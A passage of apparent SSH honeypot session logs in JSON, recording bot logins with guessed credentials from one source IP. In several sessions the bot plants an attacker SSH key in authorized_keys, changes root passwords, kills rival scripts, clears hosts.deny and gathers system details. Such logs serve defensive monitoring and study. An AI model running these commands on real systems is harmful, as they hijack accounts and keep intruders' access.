0.0 si, 0.0 st\nMiB Mem : 15888 total, 9215 free, 6672 used\nMiB Swap: 4095 total, 4095 free, 0 used\n\n PID USER PR NI VIRT RES SHR S %CPU %MEM TIME+ COMMAND\n 1 root 20 0 168404 13072 8284 S 0.0 1.3 0:04.19 systemd\n 742 root 20 0 109272 6144 5376 S 0.0 0.6 0:00.83 nginx\n 889 postgres 20 0 218360 28416 26112 S 0.0 2.9 0:01.44 postgres\n 1204 root 20 0 712924 48732 22188 S 0.3 4.9 0:12.06 node\n^C"},{"seq":25,"at":"2026-08-26T15:07:27.867716+00:00","kind":"input","latency_ms":null,"data":"uname"},{"seq":26,"at":"2026-08-26T15:07:29.196636+00:00","kind":"output","latency_ms":null,"data":"Linux"},{"seq":27,"at":"2026-08-26T15:07:29.497711+00:00","kind":"input","latency_ms":null,"data":"uname -a"},{"seq":28,"at":"2026-08-26T15:07:31.571650+00:00","kind":"output","latency_ms":null,"data":"Linux localhost 7.0.0-22-generic #22-Ubuntu SMP PREEMPT_DYNAMIC Mon May 25 15:54:34 UTC 2026 x86_64 x86_64 x86_64 GNU/Linux"},{"seq":29,"at":"2026-08-26T15:07:31.873899+00:00","kind":"input","latency_ms":null,"data":"whoami"},{"seq":30,"at":"2026-08-26T15:07:33.166307+00:00","kind":"output","latency_ms":null,"data":"usuario1"},{"seq":31,"at":"2026-08-26T15:07:33.467613+00:00","kind":"input","latency_ms":null,"data":"lscpu | grep Model"},{"seq":32,"at":"2026-08-26T15:07:35.410291+00:00","kind":"output","latency_ms":null,"data":"-bash: lscpu: command not found"},{"seq":33,"at":"2026-08-26T15:07:35.711189+00:00","kind":"input","latency_ms":null,"data":"df -h | head -n 2 | awk 'FNR == 2 {print $2;}'"},{"seq":34,"at":"2026-08-26T15:07:37.073733+00:00","kind":"output","latency_ms":null,"data":""}],"credentials":[{"username":"usuario1","password":"usuario1","method":"password","accepted":true,"tier":"other"}]} {"id":"ccb0953d-f01e-4f4d-b138-de884be14982","name":"fickle-eager-numbat","protocol":"ssh","channel_kind":null,"src_ip":"157.245.34.56","src_port":56058,"username":"usuario1","client_version":"SSH-2.0-libssh_0.9.6","auth_attempts":1,"automation":"bot","think_ms":null,"probe_flagged":0,"exec_command":null,"started_at":"2026-08-26T15:07:10.177826+00:00","ended_at":"2026-08-26T15:07:11.986369+00:00","ended_reason":"no channel opened","commands":0,"transcript_bytes":0,"events":[],"credentials":[{"username":"usuario1","password":"3245gs5662d34","method":"password","accepted":false,"tier":"probe"}]} {"id":"8b9ed839-fbe5-463a-a9f3-499efa25a22b","name":"crimson-coral-dolphin","protocol":"ssh","channel_kind":null,"src_ip":"157.245.34.56","src_port":56046,"username":"345gs5662d34","client_version":"SSH-2.0-libssh_0.9.6","auth_attempts":1,"automation":"bot","think_ms":null,"probe_flagged":0,"exec_command":null,"started_at":"2026-08-26T15:07:08.365951+00:00","ended_at":"2026-08-26T15:07:09.600625+00:00","ended_reason":"no channel opened","commands":0,"transcript_bytes":0,"events":[],"credentials":[{"username":"345gs5662d34","password":"345gs5662d34","method":"password","accepted":false,"tier":"probe"}]} {"id":"3c8a58e8-62e7-43b5-ad7c-8cf90e2d120e","name":"regal-slender-goldfinch","protocol":"ssh","channel_kind":"exec","src_ip":"157.245.34.56","src_port":50998,"username":"syncuser","client_version":"SSH-2.0-libssh_0.9.6","auth_attempts":1,"automation":"bot","think_ms":293,"probe_flagged":0,"exec_command":"cd ~; chattr -ia .ssh; lockr -ia .ssh","started_at":"2026-08-26T15:05:32.726271+00:00","ended_at":"2026-08-26T15:05:34.184077+00:00","ended_reason":"exec complete","commands":18,"transcript_bytes":2249,"events":[{"seq":1,"at":"2026-08-26T15:05:14.538228+00:00","kind":"input","latency_ms":null,"data":"cd ~; chattr -ia .ssh; lockr -ia .ssh"},{"seq":2,"at":"2026-08-26T15:05:14.828761+00:00","kind":"input","latency_ms":null,"data":"cd ~ && rm -rf .ssh && mkdir .ssh && echo \"ssh-rsa AAAAB3NzaC1yc2EAAAABJQAAAQEArDp4cun2lhr4KUhBGE7VvAcwdli2a8dbnrTOrbMz1+5O73fcBOx8NVbUT0bUanUV9tJ2/9p7+vD0EpZ3Tz/+0kX34uAx1RV/75GVOmNx+9EuWOnvNoaJe0QXxziIg9eLBHpgLMuakb5+BgTFB+rKJAw9u9FSTDengvS8hX1kNFS4Mjux0hJOK8rvcEmPecjdySYMb66nylAKGwCEE6WEQHmd1mUPgHwGQ0hWCwsQk13yCGPK5w6hYp5zYkFnvlC8hGmd4Ww+u97k6pfTGTUbJk14ujvcD9iUKQTTWYYjIIu5PmUux5bsZ0R4WFwdIe6+i6rBLAsPKgAySVKPRK+oRw== mdrfckr\">>.ssh/authorized_keys && chmod -R go= ~/.ssh && cd ~"},{"seq":3,"at":"2026-08-26T15:05:19.208305+00:00","kind":"input","latency_ms":null,"data":"cat /proc/cpuinfo | grep name | wc -l"},{"seq":4,"at":"2026-08-26T15:05:19.604538+00:00","kind":"output","latency_ms":null,"data":"8"},{"seq":5,"at":"2026-08-26T15:05:19.901454+00:00","kind":"input","latency_ms":null,"data":"echo -e \"123\\n6JRvarGKGdKS\\n6JRvarGKGdKS\"|passwd|bash"},{"seq":6,"at":"2026-08-26T15:05:20.187102+00:00","kind":"input","latency_ms":null,"data":"echo \"123\\n6JRvarGKGdKS\\n6JRvarGKGdKS\\n\"|passwd"},{"seq":7,"at":"2026-08-26T15:05:20.477038+00:00","kind":"input","latency_ms":null,"data":"cat /proc/cpuinfo | grep name | head -n 1 | awk '{print $4,$5,$6,$7,$8,$9;}'"},{"seq":8,"at":"2026-08-26T15:05:20.827323+00:00","kind":"output","latency_ms":null,"data":"AMD EPYC 7713 64-Core Processor"},{"seq":9,"at":"2026-08-26T15:05:21.119475+00:00","kind":"input","latency_ms":null,"data":"free -m | grep Mem | awk '{print $2 ,$3, $4, $5, $6, $7}'"},{"seq":10,"at":"2026-08-26T15:05:22.020325+00:00","kind":"output","latency_ms":null,"data":""},{"seq":11,"at":"2026-08-26T15:05:22.312898+00:00","kind":"input","latency_ms":null,"data":"ls -lh $(which ls)"},{"seq":12,"at":"2026-08-26T15:05:23.367681+00:00","kind":"output","latency_ms":null,"data":""},{"seq":13,"at":"2026-08-26T15:05:23.661364+00:00","kind":"input","latency_ms":null,"data":"crontab -l"},{"seq":14,"at":"2026-08-26T15:05:24.113360+00:00","kind":"output","latency_ms":null,"data":"crontab -l\ncrontab -l\ncrontab -l\ncrontab -l\ncrontab -l\ncrontab -l\ncrontab -l\ncrontab -l\ncrontab -l\ncrontab -l\ncrontab -l\ncrontab -l\ncrontab -l\ncrontab -l\ncrontab -l\ncrontab -l\ncrontab -l\ncrontab -l\ncrontab -l\ncrontab -l"},{"seq":15,"at":"2026-08-26T15:05:24.406584+00:00","kind":"input","latency_ms":null,"data":"w"},{"seq":16,"at":"2026-08-26T15:05:24.946434+00:00","kind":"output","latency_ms":null,"data":" 15:05:24 up 6 days, 11:55, 0 user, load average: 0.22, 0.23, 0.24\nUSER TTY FROM LOGIN@ IDLE JCPU PCPU WHAT"},{"seq":17,"at":"2026-08-26T15:05:25.242618+00:00","kind":"input","latency_ms":null,"data":"uname -m"},{"seq":18,"at":"2026-08-26T15:05:25.706794+00:00","kind":"output","latency_ms":null,"data":"x86_64"},{"seq":19,"at":"2026-08-26T15:05:25.997857+00:00","kind":"input","latency_ms":null,"data":"cat /proc/cpuinfo | grep model | grep name | wc -l"},{"seq":20,"at":"2026-08-26T15:05:26.350855+00:00","kind":"output","latency_ms":null,"data":"8"},{"seq":21,"at":"2026-08-26T15:05:26.642747+00:00","kind":"input","latency_ms":null,"data":"top"},{"seq":22,"at":"2026-08-26T15:05:27.309162+00:00","kind":"output","latency_ms":null,"data":"top - 15:05:27 up 6 days, 11:55, 0 user, load average: 0.22, 0.23, 0.24\nTasks: 104 total, 1 running, 103 sleeping, 0 stopped, 0 zombie\n%Cpu(s): 1.3 us, 0.7 sy, 0.0 ni, 97.7 id, 0.3 wa, 0.0 hi, 0.0 si, 0.0 st\nMiB Mem : 15888 total, 9532 free, 6355 used\nMiB Swap: 4095 total, 4095 free, 0 used\n\n PID USER PR NI VIRT RES SHR S %CPU %MEM TIME+ COMMAND\n 1 root 20 0 168404 13072 8284 S 0.0 1.3 0:04.19 systemd\n 742 root 20 0 109272 6144 5376 S 0.0 0.6 0:00.83 nginx\n 889 postgres 20 0 218360 28416 26112 S 0.0 2.9 0:01.44 postgres\n 1204 root 20 0 712924 48732 22188 S 0.3 4.9 0:12.06 node\n^C"},{"seq":23,"at":"2026-08-26T15:05:27.601845+00:00","kind":"input","latency_ms":null,"data":"uname"},{"seq":24,"at":"2026-08-26T15:05:28.491551+00:00","kind":"output","latency_ms":null,"data":"Linux"},{"seq":25,"at":"2026-08-26T15:05:28.784346+00:00","kind":"input","latency_ms":null,"data":"uname -a"},{"seq":26,"at":"2026-08-26T15:05:29.250257+00:00","kind":"output","latency_ms":null,"data":"Linux localhost 7.0.0-22-generic #22-Ubuntu SMP PREEMPT_DYNAMIC Mon May 25 15:54:34 UTC 2026 x86_64 x86_64 x86_64 GNU/Linux"},{"seq":27,"at":"2026-08-26T15:05:29.545465+00:00","kind":"input","latency_ms":null,"data":"whoami"},{"seq":28,"at":"2026-08-26T15:05:30.395454+00:00","kind":"output","latency_ms":null,"data":"syncuser"},{"seq":29,"at":"2026-08-26T15:05:30.695021+00:00","kind":"input","latency_ms":null,"data":"lscpu | grep Model"},{"seq":30,"at":"2026-08-26T15:05:32.434769+00:00","kind":"output","latency_ms":null,"data":"-bash: lscpu: command not found"},{"seq":31,"at":"2026-08-26T15:05:32.727197+00:00","kind":"input","latency_ms":null,"data":"df -h | head -n 2 | awk 'FNR == 2 {print $2;}'"},{"seq":32,"at":"2026-08-26T15:05:34.097809+00:00","kind":"output","latency_ms":null,"data":""}],"credentials":[{"username":"syncuser","password":"123","method":"password","accepted":true,"tier":"other"}]} {"id":"aed1cbb5-41b6-43a1-a69d-72c042199632","name":"gloomy-woven-shearwater","protocol":"ssh","channel_kind":null,"src_ip":"157.245.34.56","src_port":51010,"username":"syncuser","client_version":"SSH-2.0-libssh_0.9.6","auth_attempts":1,"automation":"bot","think_ms":null,"probe_flagged":0,"exec_command":null,"started_at":"2026-08-26T15:05:17.670954+00:00","ended_at":"2026-08-26T15:05:19.122304+00:00","ended_reason":"no channel opened","commands":0,"transcript_bytes":0,"events":[],"credentials":[{"username":"syncuser","password":"3245gs5662d34","method":"password","accepted":false,"tier":"probe"}]} {"id":"0a1e72f0-5836-4d72-a224-cc16a4b41b8e","name":"sleepy-lucid-woodcock","protocol":"ssh","channel_kind":null,"src_ip":"157.245.34.56","src_port":51008,"username":"345gs5662d34","client_version":"SSH-2.0-libssh_0.9.6","auth_attempts":1,"automation":"bot","think_ms":null,"probe_flagged":0,"exec_command":null,"started_at":"2026-08-26T15:05:15.472995+00:00","ended_at":"2026-08-26T15:05:17.101291+00:00","ended_reason":"no channel opened","commands":0,"transcript_bytes":0,"events":[],"credentials":[{"username":"345gs5662d34","password":"345gs5662d34","method":"password","accepted":false,"tier":"probe"}]} {"id":"9a9314ef-938f-4455-a66f-2e10dba5a5a7","name":"candid-feathered-vole","protocol":"ssh","channel_kind":"exec","src_ip":"157.245.34.56","src_port":53630,"username":"root","client_version":"SSH-2.0-libssh_0.9.6","auth_attempts":1,"automation":"bot","think_ms":292,"probe_flagged":0,"exec_command":"cd ~; chattr -ia .ssh; lockr -ia .ssh","started_at":"2026-08-26T15:03:37.292615+00:00","ended_at":"2026-08-26T15:03:38.797555+00:00","ended_reason":"exec complete","commands":18,"transcript_bytes":2304,"events":[{"seq":1,"at":"2026-08-26T15:03:18.250888+00:00","kind":"input","latency_ms":null,"data":"cd ~; chattr -ia .ssh; lockr -ia .ssh"},{"seq":2,"at":"2026-08-26T15:03:18.541570+00:00","kind":"input","latency_ms":null,"data":"cd ~ && rm -rf .ssh && mkdir .ssh && echo \"ssh-rsa AAAAB3NzaC1yc2EAAAABJQAAAQEArDp4cun2lhr4KUhBGE7VvAcwdli2a8dbnrTOrbMz1+5O73fcBOx8NVbUT0bUanUV9tJ2/9p7+vD0EpZ3Tz/+0kX34uAx1RV/75GVOmNx+9EuWOnvNoaJe0QXxziIg9eLBHpgLMuakb5+BgTFB+rKJAw9u9FSTDengvS8hX1kNFS4Mjux0hJOK8rvcEmPecjdySYMb66nylAKGwCEE6WEQHmd1mUPgHwGQ0hWCwsQk13yCGPK5w6hYp5zYkFnvlC8hGmd4Ww+u97k6pfTGTUbJk14ujvcD9iUKQTTWYYjIIu5PmUux5bsZ0R4WFwdIe6+i6rBLAsPKgAySVKPRK+oRw== mdrfckr\">>.ssh/authorized_keys && chmod -R go= ~/.ssh && cd ~"},{"seq":3,"at":"2026-08-26T15:03:22.510604+00:00","kind":"input","latency_ms":null,"data":"cat /proc/cpuinfo | grep name | wc -l"},{"seq":4,"at":"2026-08-26T15:03:22.849564+00:00","kind":"output","latency_ms":null,"data":"8"},{"seq":5,"at":"2026-08-26T15:03:23.138778+00:00","kind":"input","latency_ms":null,"data":"echo \"root:0eBASXcKtxYD\"|chpasswd|bash"},{"seq":6,"at":"2026-08-26T15:03:23.429802+00:00","kind":"input","latency_ms":null,"data":"rm -rf /tmp/secure.sh; rm -rf /tmp/auth.sh; pkill -9 secure.sh; pkill -9 auth.sh; echo > /etc/hosts.deny; pkill -9 sleep;"},{"seq":7,"at":"2026-08-26T15:03:23.721243+00:00","kind":"input","latency_ms":null,"data":"cat /proc/cpuinfo | grep name | head -n 1 | awk '{print $4,$5,$6,$7,$8,$9;}'"},{"seq":8,"at":"2026-08-26T15:03:23.972909+00:00","kind":"output","latency_ms":null,"data":"AMD EPYC 7713 64-Core Processor"},{"seq":9,"at":"2026-08-26T15:03:24.264599+00:00","kind":"input","latency_ms":null,"data":"free -m | grep Mem | awk '{print $2 ,$3, $4, $5, $6, $7}'"},{"seq":10,"at":"2026-08-26T15:03:25.154004+00:00","kind":"output","latency_ms":null,"data":""},{"seq":11,"at":"2026-08-26T15:03:25.449024+00:00","kind":"input","latency_ms":null,"data":"ls -lh $(which ls)"},{"seq":12,"at":"2026-08-26T15:03:26.403825+00:00","kind":"output","latency_ms":null,"data":""},{"seq":13,"at":"2026-08-26T15:03:26.698795+00:00","kind":"input","latency_ms":null,"data":"crontab -l"},{"seq":14,"at":"2026-08-26T15:03:27.411867+00:00","kind":"output","latency_ms":null,"data":"crontab -l\ncrontab -l\ncrontab -l\ncrontab -l\ncrontab -l\ncrontab -l\ncrontab -l\ncrontab -l\ncrontab -l\ncrontab -l\ncrontab -l\ncrontab -l\ncrontab -l\ncrontab -l\ncrontab -l\ncrontab -l\ncrontab -l\ncrontab -l\ncrontab -l\ncrontab -l"},{"seq":15,"at":"2026-08-26T15:03:27.701850+00:00","kind":"input","latency_ms":null,"data":"w"},{"seq":16,"at":"2026-08-26T15:03:27.968063+00:00","kind":"output","latency_ms":null,"data":" 15:03:27 up 6 days, 11:53, 0 user, load average: 0.24, 0.24, 0.25\nUSER TTY FROM LOGIN@ IDLE JCPU PCPU WHAT"},{"seq":17,"at":"2026-08-26T15:03:28.280105+00:00","kind":"input","latency_ms":null,"data":"uname -m"},{"seq":18,"at":"2026-08-26T15:03:29.069403+00:00","kind":"output","latency_ms":null,"data":"x86_64"},{"seq":19,"at":"2026-08-26T15:03:29.362697+00:00","kind":"input","latency_ms":null,"data":"cat /proc/cpuinfo | grep model | grep name | wc -l"},{"seq":20,"at":"2026-08-26T15:03:30.205553+00:00","kind":"output","latency_ms":null,"data":"8"},{"seq":21,"at":"2026-08-26T15:03:30.496132+00:00","kind":"input","latency_ms":null,"data":"top"},{"seq":22,"at":"2026-08-26T15:03:31.360167+00:00","kind":"output","latency_ms":null,"data":"top - 15:03:31 up 6 days, 11:53, 0 user, load average: 0.24, 0.24, 0.25\nTasks: 128 total, 1 running, 127 sleeping, 0 stopped, 0 zombie\n%Cpu(s): 1.3 us, 0.7 sy, 0.0 ni, 97.7 id, 0.3 wa, 0.0 hi, 0.0 si, 0.0 st\nMiB Mem : 15888 total, 7626 free, 8261 used\nMiB Swap: 4095 total, 4095 free, 0 used\n\n PID USER PR NI VIRT RES SHR S %CPU %MEM TIME+ COMMAND\n 1 root 20 0 168404 13072 8284 S 0.0 1.3 0:04.19 systemd\n 742 root 20 0 109272 6144 5376 S 0.0 0.6 0:00.83 nginx\n 889 postgres 20 0 218360 28416 26112 S 0.0 2.9 0:01.44 postgres\n 1204 root 20 0 712924 48732 22188 S 0.3 4.9 0:12.06 node\n^C"},{"seq":23,"at":"2026-08-26T15:03:31.649373+00:00","kind":"input","latency_ms":null,"data":"uname"},{"seq":24,"at":"2026-08-26T15:03:32.372281+00:00","kind":"output","latency_ms":null,"data":"Linux"},{"seq":25,"at":"2026-08-26T15:03:32.665556+00:00","kind":"input","latency_ms":null,"data":"uname -a"},{"seq":26,"at":"2026-08-26T15:03:34.706499+00:00","kind":"output","latency_ms":null,"data":"Linux localhost 7.0.0-22-generic #22-Ubuntu SMP PREEMPT_DYNAMIC Mon May 25 15:54:34 UTC 2026 x86_64 x86_64 x86_64 GNU/Linux"},{"seq":27,"at":"2026-08-26T15:03:34.999711+00:00","kind":"input","latency_ms":null,"data":"whoami"},{"seq":28,"at":"2026-08-26T15:03:35.343625+00:00","kind":"output","latency_ms":null,"data":"root"},{"seq":29,"at":"2026-08-26T15:03:35.634588+00:00","kind":"input","latency_ms":null,"data":"lscpu | grep Model"},{"seq":30,"at":"2026-08-26T15:03:37.002572+00:00","kind":"output","latency_ms":null,"data":"-bash: lscpu: command not found"},{"seq":31,"at":"2026-08-26T15:03:37.293190+00:00","kind":"input","latency_ms":null,"data":"df -h | head -n 2 | awk 'FNR == 2 {print $2;}'"},{"seq":32,"at":"2026-08-26T15:03:38.712298+00:00","kind":"output","latency_ms":null,"data":""}],"credentials":[{"username":"root","password":"7895123","method":"password","accepted":true,"tier":"other"}]} {"id":"04d5f5ce-07e5-4c0a-9ecc-50e39f5f7d51","name":"keen-scarlet-walrus","protocol":"ssh","channel_kind":null,"src_ip":"157.245.34.56","src_port":53636,"username":"root","client_version":"SSH-2.0-libssh_0.9.6","auth_attempts":1,"automation":"bot","think_ms":null,"probe_flagged":0,"exec_command":null,"started_at":"2026-08-26T15:03:20.832150+00:00","ended_at":"2026-08-26T15:03:22.424566+00:00","ended_reason":"no channel opened","commands":0,"transcript_bytes":0,"events":[],"credentials":[{"username":"root","password":"3245gs5662d34","method":"password","accepted":false,"tier":"probe"}]} {"id":"9fb1042d-99da-4c10-92b0-c1ccfd31ffd4","name":"kindly-nautical-lapwing","protocol":"ssh","channel_kind":null,"src_ip":"157.245.34.56","src_port":53632,"username":"345gs5662d34","client_version":"SSH-2.0-libssh_0.9.6","auth_attempts":1,"automation":"bot","think_ms":null,"probe_flagged":0,"exec_command":null,"started_at":"2026-08-26T15:03:19.197324+00:00","ended_at":"2026-08-26T15:03:20.259431+00:00","ended_reason":"no channel opened","commands":0,"transcript_bytes":0,"events":[],"credentials":[{"username":"345gs5662d34","password":"345gs5662d34","method":"password","accepted":false,"tier":"probe"}]} {"id":"0848e902-05b2-401b-b626-d708e9461d50","name":"tangled-prickly-cicada","protocol":"ssh","channel_kind":"exec","src_ip":"157.245.34.56","src_port":60838,"username":"root","client_version":"SSH-2.0-libssh_0.9.6","auth_attempts":1,"automation":"bot","think_ms":295,"probe_flagged":0,"exec_command":"cd ~; chattr -ia .ssh; lockr -ia .ssh","started_at":"2026-08-26T15:01:36.456019+00:00","ended_at":"2026-08-26T15:01:38.513231+00:00","ended_reason":"exec complete","commands":18,"transcript_bytes":2304,"events":[{"seq":1,"at":"2026-08-26T15:01:17.072637+00:00","kind":"input","latency_ms":null,"data":"cd ~; chattr -ia .ssh; lockr -ia .ssh"},{"seq":2,"at":"2026-08-26T15:01:17.367670+00:00","kind":"input","latency_ms":null,"data":"cd ~ && rm -rf .ssh && mkdir .ssh && echo \"ssh-rsa AAAAB3NzaC1yc2EAAAABJQAAAQEArDp4cun2lhr4KUhBGE7VvAcwdli2a8dbnrTOrbMz1+5O73fcBOx8NVbUT0bUanUV9tJ2/9p7+vD0EpZ3Tz/+0kX34uAx1RV/75GVOmNx+9EuWOnvNoaJe0QXxziIg9eLBHpgLMuakb5+BgTFB+rKJAw9u9FSTDengvS8hX1kNFS4Mjux0hJOK8rvcEmPecjdySYMb66nylAKGwCEE6WEQHmd1mUPgHwGQ0hWCwsQk13yCGPK5w6hYp5zYkFnvlC8hGmd4Ww+u97k6pfTGTUbJk14ujvcD9iUKQTTWYYjIIu5PmUux5bsZ0R4WFwdIe6+i6rBLAsPKgAySVKPRK+oRw== mdrfckr\">>.ssh/authorized_keys && chmod -R go= ~/.ssh && cd ~"},{"seq":3,"at":"2026-08-26T15:01:20.677860+00:00","kind":"input","latency_ms":null,"data":"cat /proc/cpuinfo | grep name | wc -l"},{"seq":4,"at":"2026-08-26T15:01:21.805899+00:00","kind":"output","latency_ms":null,"data":"8"},{"seq":5,"at":"2026-08-26T15:01:22.098745+00:00","kind":"input","latency_ms":null,"data":"echo \"root:BVfgBbGMPe3l\"|chpasswd|bash"},{"seq":6,"at":"2026-08-26T15:01:22.393747+00:00","kind":"input","latency_ms":null,"data":"rm -rf /tmp/secure.sh; rm -rf /tmp/auth.sh; pkill -9 secure.sh; pkill -9 auth.sh; echo > /etc/hosts.deny; pkill -9 sleep;"},{"seq":7,"at":"2026-08-26T15:01:22.691068+00:00","kind":"input","latency_ms":null,"data":"cat /proc/cpuinfo | grep name | head -n 1 | awk '{print $4,$5,$6,$7,$8,$9;}'"},{"seq":8,"at":"2026-08-26T15:01:23.815596+00:00","kind":"output","latency_ms":null,"data":"AMD EPYC 7713 64-Core Processor"},{"seq":9,"at":"2026-08-26T15:01:24.110815+00:00","kind":"input","latency_ms":null,"data":"free -m | grep Mem | awk '{print $2 ,$3, $4, $5, $6, $7}'"},{"seq":10,"at":"2026-08-26T15:01:25.120599+00:00","kind":"output","latency_ms":null,"data":""},{"seq":11,"at":"2026-08-26T15:01:25.417781+00:00","kind":"input","latency_ms":null,"data":"ls -lh $(which ls)"},{"seq":12,"at":"2026-08-26T15:01:26.593607+00:00","kind":"output","latency_ms":null,"data":""},{"seq":13,"at":"2026-08-26T15:01:26.892401+00:00","kind":"input","latency_ms":null,"data":"crontab -l"},{"seq":14,"at":"2026-08-26T15:01:28.117010+00:00","kind":"output","latency_ms":null,"data":"crontab -l\ncrontab -l\ncrontab -l\ncrontab -l\ncrontab -l\ncrontab -l\ncrontab -l\ncrontab -l\ncrontab -l\ncrontab -l\ncrontab -l\ncrontab -l\ncrontab -l\ncrontab -l\ncrontab -l\ncrontab -l\ncrontab -l\ncrontab -l\ncrontab -l\ncrontab -l"},{"seq":15,"at":"2026-08-26T15:01:28.411797+00:00","kind":"input","latency_ms":null,"data":"w"},{"seq":16,"at":"2026-08-26T15:01:28.681231+00:00","kind":"output","latency_ms":null,"data":" 15:01:28 up 6 days, 11:51, 0 user, load average: 0.16, 0.18, 0.14\nUSER TTY FROM LOGIN@ IDLE JCPU PCPU WHAT"},{"seq":17,"at":"2026-08-26T15:01:28.976883+00:00","kind":"input","latency_ms":null,"data":"uname -m"},{"seq":18,"at":"2026-08-26T15:01:30.683230+00:00","kind":"output","latency_ms":null,"data":"x86_64"},{"seq":19,"at":"2026-08-26T15:01:30.977778+00:00","kind":"input","latency_ms":null,"data":"cat /proc/cpuinfo | grep model | grep name | wc -l"},{"seq":20,"at":"2026-08-26T15:01:31.709482+00:00","kind":"output","latency_ms":null,"data":"8"},{"seq":21,"at":"2026-08-26T15:01:32.005711+00:00","kind":"input","latency_ms":null,"data":"top"},{"seq":22,"at":"2026-08-26T15:01:32.350359+00:00","kind":"output","latency_ms":null,"data":"top - 15:01:32 up 6 days, 11:51, 0 user, load average: 0.16, 0.18, 0.14\nTasks: 106 total, 1 running, 105 sleeping, 0 stopped, 0 zombie\n%Cpu(s): 1.3 us, 0.7 sy, 0.0 ni, 97.7 id, 0.3 wa, 0.0 hi, 0.0 si, 0.0 st\nMiB Mem : 15888 total, 6196 free, 9691 used\nMiB Swap: 4095 total, 4095 free, 0 used\n\n PID USER PR NI VIRT RES SHR S %CPU %MEM TIME+ COMMAND\n 1 root 20 0 168404 13072 8284 S 0.0 1.3 0:04.19 systemd\n 742 root 20 0 109272 6144 5376 S 0.0 0.6 0:00.83 nginx\n 889 postgres 20 0 218360 28416 26112 S 0.0 2.9 0:01.44 postgres\n 1204 root 20 0 712924 48732 22188 S 0.3 4.9 0:12.06 node\n^C"},{"seq":23,"at":"2026-08-26T15:01:32.651220+00:00","kind":"input","latency_ms":null,"data":"uname"},{"seq":24,"at":"2026-08-26T15:01:33.105582+00:00","kind":"output","latency_ms":null,"data":"Linux"},{"seq":25,"at":"2026-08-26T15:01:33.403573+00:00","kind":"input","latency_ms":null,"data":"uname -a"},{"seq":26,"at":"2026-08-26T15:01:33.762854+00:00","kind":"output","latency_ms":null,"data":"Linux localhost 7.0.0-22-generic #22-Ubuntu SMP PREEMPT_DYNAMIC Mon May 25 15:54:34 UTC 2026 x86_64 x86_64 x86_64 GNU/Linux"},{"seq":27,"at":"2026-08-26T15:01:34.059176+00:00","kind":"input","latency_ms":null,"data":"whoami"},{"seq":28,"at":"2026-08-26T15:01:34.724298+00:00","kind":"output","latency_ms":null,"data":"root"},{"seq":29,"at":"2026-08-26T15:01:35.020246+00:00","kind":"input","latency_ms":null,"data":"lscpu | grep Model"},{"seq":30,"at":"2026-08-26T15:01:36.160163+00:00","kind":"output","latency_ms":null,"data":"-bash: lscpu: command not found"},{"seq":31,"at":"2026-08-26T15:01:36.457014+00:00","kind":"input","latency_ms":null,"data":"df -h | head -n 2 | awk 'FNR == 2 {print $2;}'"},{"seq":32,"at":"2026-08-26T15:01:38.425088+00:00","kind":"output","latency_ms":null,"data":""}],"credentials":[{"username":"root","password":"Qwerty!@34","method":"password","accepted":true,"tier":"other"}]} {"id":"a336bf3a-00b9-4bef-ab8d-b8bebc60641e","name":"daring-sullen-wren","protocol":"ssh","channel_kind":null,"src_ip":"157.245.34.56","src_port":60858,"username":"root","client_version":"SSH-2.0-libssh_0.9.6","auth_attempts":1,"automation":"bot","think_ms":null,"probe_flagged":0,"exec_command":null,"started_at":"2026-08-26T15:01:19.744688+00:00","ended_at":"2026-08-26T15:01:20.589016+00:00","ended_reason":"no channel opened","commands":0,"transcript_bytes":0,"events":[],"credentials":[{"username":"root","password":"3245gs5662d34","method":"password","accepted":false,"tier":"probe"}]} {"id":"297597c6-2305-4b06-ae56-c472dae5ebfb","name":"eager-feral-meerkat","protocol":"ssh","channel_kind":null,"src_ip":"157.245.34.56","src_port":60844,"username":"345gs5662d34","client_version":"SSH-2.0-libssh_0.9.6","auth_attempts":1,"automation":"bot","think_ms":null,"probe_flagged":0,"exec_command":null,"started_at":"2026-08-26T15:01:18.027944+00:00","ended_at":"2026-08-26T15:01:19.156097+00:00","ended_reason":"no channel opened","commands":0,"transcript_bytes":0,"events":[],"credentials":[{"username":"345gs5662d34","password":"345gs5662d34","method":"password","accepted":false,"tier":"probe"}]} {"id":"2e5812ff-72c7-4cf4-b2d7-4a5331157272","name":"tranquil-polar-manatee","protocol":"ssh","channel_kind":"exec","src_ip":"157.245.34.56","src_port":64610,"username":"seekcy","client_version":"SSH-2.0-libssh_0.9.6","auth_attempts":1,"automation":"bot","think_ms":302,"probe_flagged":0,"exec_command":"cd ~; chattr -ia .ssh; lockr -ia .ssh","started_at":"2026-08-26T14:59:39.928637+00:00","ended_at":"2026-08-26T14:59:41.567115+00:00","ended_reason":"exec complete","commands":18,"transcript_bytes":2277,"events":[{"seq":1,"at":"2026-08-26T14:59:11.023265+00:00","kind":"input","latency_ms":null,"data":"cd ~; chattr -ia .ssh; lockr -ia .ssh"},{"seq":2,"at":"2026-08-26T14:59:11.331009+00:00","kind":"input","latency_ms":null,"data":"cd ~ && rm -rf .ssh && mkdir .ssh && echo \"ssh-rsa AAAAB3NzaC1yc2EAAAABJQAAAQEArDp4cun2lhr4KUhBGE7VvAcwdli2a8dbnrTOrbMz1+5O73fcBOx8NVbUT0bUanUV9tJ2/9p7+vD0EpZ3Tz/+0kX34uAx1RV/75GVOmNx+9EuWOnvNoaJe0QXxziIg9eLBHpgLMuakb5+BgTFB+rKJAw9u9FSTDengvS8hX1kNFS4Mjux0hJOK8rvcEmPecjdySYMb66nylAKGwCEE6WEQHmd1mUPgHwGQ0hWCwsQk13yCGPK5w6hYp5zYkFnvlC8hGmd4Ww+u97k6pfTGTUbJk14ujvcD9iUKQTTWYYjIIu5PmUux5bsZ0R4WFwdIe6+i6rBLAsPKgAySVKPRK+oRw== mdrfckr\">>.ssh/authorized_keys && chmod -R go= ~/.ssh && cd ~"},{"seq":3,"at":"2026-08-26T14:59:15.257060+00:00","kind":"input","latency_ms":null,"data":"cat /proc/cpuinfo | grep name | wc -l"},{"seq":4,"at":"2026-08-26T14:59:16.873768+00:00","kind":"output","latency_ms":null,"data":"8"},{"seq":5,"at":"2026-08-26T14:59:17.178071+00:00","kind":"input","latency_ms":null,"data":"echo -e \"Joysuch@Locate2022\\np0hXHBlamyBd\\np0hXHBlamyBd\"|passwd|bash"},{"seq":6,"at":"2026-08-26T14:59:17.478758+00:00","kind":"input","latency_ms":null,"data":"echo \"Joysuch@Locate2022\\np0hXHBlamyBd\\np0hXHBlamyBd\\n\"|passwd"},{"seq":7,"at":"2026-08-26T14:59:17.781000+00:00","kind":"input","latency_ms":null,"data":"cat /proc/cpuinfo | grep name | head -n 1 | awk '{print 